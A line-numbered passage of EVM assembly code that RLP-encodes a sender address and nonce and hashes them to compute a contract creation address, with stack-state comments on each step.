| 1 254 | add 255 | // rlpN rlpN_byte_length(N_len + 1) 256 | label_rlpEnd: 257 | // rlpN rlpN_byte_length 258 | // ---------------END: rlpEncodeNonce--------------- 259 | 260 | // A rlpN rlpN_len 261 | dup1 262 | // A rlpN rlpN_len rlpN_len 263 | 22 264 | add 265 | // A rlpN rlpN_len rlp_total_len 266 | swap3 267 | // rlp_total_len rlpN rlpN_len A 268 | dup2 269 | // rlp_total_len rlpN rlpN_len A rlpN_len 270 | 0xd5 // 0xd5 = 0xc0 + 21(the byte length of address rlp encoding) 271 | // rlp_total_len rlpN rlpN_len A rlpN_len 0xd5 272 | add 273 | // rlp_total_len rlpN rlpN_len A rlp_head 274 | 0x0100 275 | mul 276 | // rlp_total_len rlpN rlpN_len A rlp_head<<8 277 | 0x94 // 0x94 = 0x80 + 20 278 | or 279 | // rlp_total_len rlpN rlpN_len A rlp_head.0x94 280 | 0x010000000000000000000000000000000000000000 281 | mul 282 | // rlp_total_len rlpN rlpN_len A rlp_head.0x94<<20bytes 283 | or 284 | // rlp_total_len rlpN rlpN_len rlp_head.rlpA 285 | swap1 286 | // rlp_total_len rlpN rlp_head.rlpA rlpN_len 287 | 256 288 | exp 289 | // rlp_total_len rlpN rlp_head.rlpA 256^rlpN_len 290 | mul 291 | or 292 | // rlp_total_len rlp_head.rlpA.rlpN 293 | dup2 294 | 0x80 295 | add 296 | // rlp_total_len rlp_head.rlpA.rlpN rlp_total_len+0x80 297 | mstore 298 | // rlp_total_len 299 | // memory 0xa0: rlp_head.rlpA.rlpN 300 | 0xa0 301 | sha3 302 | // sha3_rlp 303 | 0xffffffffffffffffffffffffffffffffffffffff 304 | and 305 | // sha3_rlp(last 20bytes) 306 | =:addr // equivalent to swap1 pop 307 | // ---------------END: genAddr--------------- 308 | } 309 | } 310 | } --------------------------------------------------------------------------------